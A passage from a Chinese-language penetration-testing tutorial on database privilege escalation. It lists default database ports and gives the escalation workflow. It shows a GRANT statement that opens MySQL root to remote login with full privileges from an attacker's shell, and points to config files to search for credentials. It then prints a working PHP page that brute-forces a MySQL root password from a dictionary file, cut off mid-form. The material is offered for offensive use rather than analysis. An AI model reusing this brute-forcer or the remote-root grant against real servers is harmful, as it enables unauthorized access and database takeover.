思维导图
权限提升
数据库提权
在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件:服务器开启数据库服务及获取到最高权限用户密码。除 Access 数据库外,其他数据库基本都存在数据库提权的可能。
- 数据库应用提权在权限提升中的意义
- WEB 或本地环境如何探针数据库应用
- 数据库提权权限用户密码收集等方法
- 目前数据库提权对应的技术及方法等
知识点
提权流程
服务探针---->信息收集----->提权利用----->获取权限
数据库端口号
关系型数据库
Oracle
port:端口号,默认是1521
SQL Server
port:端口号,默认是1433
MySQL
port:端口号,默认是3306
pointbase
port:端口号,默认是9092
DB2
port:端口号,默认是50000
Sybase
port:端口号,默认是5000
PostgreSQL
port:端口号,默认是5432
非关系型的数据库
MongoDB
port:默认端口号,27017
Redis
port:默认端口号,6379
memcached
port:默认端口号,11211
演示案例:
Mysql 数据库提权演示-脚本&MSF
服务器开启了3306 端口,但是不允许root外链的情况,我们可以在shell里面执行如下的语句来开启root用户的外连,方便我们提权。
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
查看网站配置文件
sql data inc config conn database common include等
- config.php
- conn.info.php
- config.ini.php
等等一些配置文件
查看数据库存储文件
mysql数据库存储数据文件以myd为后缀文件名
比如xxx.myd
查询
select @@basedir as basePath from dual
爆破猜解
服务器本地爆破
Completion.php
用法:保存为Completion.php文件,将密码字典放置同目录下为pwd.txt文件,浏览器打开就可使用。
<html>
<head>
<title>Mysql账号密码在线爆破工具</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<center>
<br><br>
<h1>Mysql账号密码在线爆破工具 V2.0</h1>
<br>
<?php
if(@$_POST['submit']){
$host = @$_POST['host'];
if($host!==""){
$username = "root";//用户名字典
$password = array();
$filename = "pwd.txt"; //同目录下密码字典
$i=0;
$file = fopen($filename,'r');
while(! feof($file)){
$password[$i] = fgets($file);
$i++;
}
fclose($file);
echo "<hr><br>-----------------------爆破状态-----------------------<br>";
for ($l=0; $l <= count($password); $l++) {
$password1 = trim($password[$l]); //除去左右空白
if(@mysql_connect($host, $username, $password1)){
echo "<script>alert('数据库密码为:{$password1}')</script>";
echo "<br><br><font color='red'>爆破成功--密码-->".@$password1."</font>";
break;
}else{
continue;
}
}
echo "<br>----------------------爆破结束-----------------------<br><hr>";
}else{
echo "<script>alert('黑客,输入数据库IP地址')</script>";
}
}
?>
<br><br><br><br>
<form action="